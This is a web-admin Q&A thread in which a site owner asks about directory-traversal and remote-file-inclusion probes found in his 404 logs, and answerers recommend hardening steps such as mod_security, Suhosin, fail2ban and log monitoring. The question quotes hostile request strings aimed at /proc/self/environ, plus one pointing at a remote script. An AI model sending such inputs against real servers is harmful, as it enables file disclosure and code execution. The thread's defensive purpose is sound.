12

Looking through my 404 logs I noticed the following two URLs, both of which occurred once:

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ

and

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00

The page in question, library.php, requires a type variable with a half-dozen different acceptable values, and then an id variable. So a valid URL might be

library.php?type=Circle-K&id=Strange-Things-Are-Afoot

and the ids are all run through mysql_real_escape_string before being used to query the database.

I'm a rookie, but it seems to me that both of these links are simple attacks against the webroot?

1) How best to protect against these sorts of things besides a 404?

2) Should I permaban the IP(s) responsible?

EDIT: also just noticed this one

/library.php=http://www.basfalt.no/scripts/danger.txt

EDIT 2: The offending IP for all 3 attacks was 216.97.231.15 which traces to an ISP called Lunar Pages located just outside of Los Angeles.

EDIT 3: I've decided to call the ISP Friday morning local time and discuss the issue with whoever I can get on the phone. I'll post the results here in 24 hours or so.

EDIT 4: I ended up emailing their admins and they responded first that "they were looking into it" and then a day later with "this issue should be resolved now." No further details, sadly.

Drew
  • 661
  • 6
  • 9
  • Adnrew, am I get it right that this /library.php script do not include anything from query string? In this case you are safe – Col. Shrapnel Aug 27 '10 at 04:10
  • library.php handles links generated by my own site. The `type` tells the script which include to use (though through an `IF $_GET['type'] == 'thing') {} ESLE...`, not as a direct link like `include 'type.php'`) and the `id` is run through mysql_real_escape_string and *that* is used for queries. Knowing that, am I still safe? –  Aug 27 '10 at 04:32
  • Can somebody explain what exactly the attacker is trying to find out? A short summary in the question of all answers would be great. – bzero Jun 02 '14 at 07:48

8 Answers8

19

0) Yes. At the very least, it's a systematic probe against your site trying to discover if it's vulnerable.

1) Other than making sure that your code is clean, there's not a lot you can do but run your own tests against your host to make sure it's safe. Google Skipfish is one of the many tools to help you there.

2) I would.

TML
  • 358
  • 2
  • 9
7

This is an attack, it is very much explained here.

Yanick Rochon
  • 199
  • 13
7

As said by others: yes, it is an hack attempt. Please be aware that in addition to this possibly hand-made attempt there are lots and lots of automated ones ran by botnets. Generally those kind of attacks are attempting to sneak through ages-old vulnerabilities and/or some typical coding flaws, such as failure to validate user input leading to SQL injection, system or file leakage, or similar.

Banning those botnets by hand is most likely impossible, since botnets can use up to thousands of unique IP addresses so if you want to ban them, you'll have to use some kind of automated ban program. fail2ban comes to my mind; make it to react to mod_security events or some other log entries.

If your code is clean and server hardened, those hack attempts are only annoying log pollution. But it's better to take precautionary steps and consider some or all of the following, depending on your needs:

  • mod_security is an Apache module filtering out all kinds of typical hacking attempts. It can also restrict outbound traffic (the page your server would be sending to a client) if it sees suspicious JavaScript etc.

  • Suhosin for hardening PHP itself.

  • Run your PHP scripts as a user who owns the script; things like suphp and php-fpm makes that possible.

  • Mount your webroot and PHP temporary directory as noexec,nosuid,nodev.

  • Disable unneeded PHP functions, such as system and passthru.

  • Disable unneeded PHP modules. For example, if you don't need IMAP support, do not enable it.

  • Keep your server up to date.

  • Keep your eye on logs.

  • Make sure you have backups.

  • Have a plan what to do if someone hacks you or some other disaster hits you.

That's a good start. Then there are even more extreme measures such as Snort and Prelude, but they can be very overkill for most setups.

Janne Pikkarainen
  • 31,852
  • 4
  • 58
  • 81
3

It's entirely likely that the machine that's making those queries is a botnet zombie. If you're getting those requests from multiple IPs, it's probably not worth banning them, because you'd have to ban half the internet for it to be effective.

Chris
  • 297
  • 1
  • 3
1

As already said - it's an attempt to acces the /proc/self/environ file to get more informations.

I assume it's a linux machine:

You should use

You can block the ip of an attacking server, but you should consider that it can be non attacking in the feature.

I used to block some services when my server is under attack: http/https/pop/imap/ssh but leave smtp open, that you can be notified if you made a mistake.

Andreas Rehm
  • 851
  • 6
  • 11
  • Why wait till you've got a failed attack before changing your security? Why do anything when you know the attack is failing? Yes, the OP might consider some temporary tweaks to cut down on the noise and wasted bandwidth - but there are implications to applying the changes you suggest which you've not addressed – symcbean Aug 27 '10 at 10:16
  • There are always implications. Leave it as it is and you might get hacked. Secure your server and face the problems caused by security programs. But anyhow - security is a major concern on a web accessible system! – Andreas Rehm Aug 27 '10 at 11:55
0

Yes it's an intrusion attempt. You should definitely put a ban on the IP. If you determine that the IP is out of country, you may just want to ban the entire subnet it belongs to. This is less a code issue than it is a server issue. Look this particular intrusion up and make sure your hosting provider is not vulnerable to it or similar script kiddie attempts (which is what this one looks like).

Joel Etherton
  • 146
  • 3
0

This is an attempt to exploit a potential arbitrary local file inclusion vulnerabilty in server-side scripts accessible via your web server. On a vulnerable linux system /proc/self/environ can be abused to execute arbitrary code server-side.

Cheekysoft
  • 427
  • 1
  • 4
  • 12
0

As recommended by Janne Pikkarainen:

Keep your eye on logs.

Make sure you have backups.

As part of these logs it is important to monitor changes of any of your files, including your website, as part of an intrusion detection system. An example is OpenBSD that does this by default for the config files. I bring this up because:

  • For Cloud Sites there was subtle modifications to PHP files on a custom built website (this was just outputting a non-standard tag but maybe a part of a test to measure the magnitude of the exploit).
  • For one coworker there was subtle redirects within the their WordPress .htaccess file (only referrers from Google search results).
  • For another coworker there were subtle modifications to their Joomla config file (can't remember what, I think it was a redirect under certain conditions as well).
Community
  • 1
Rob Olmos
  • 2,240
  • 1
  • 15
  • 26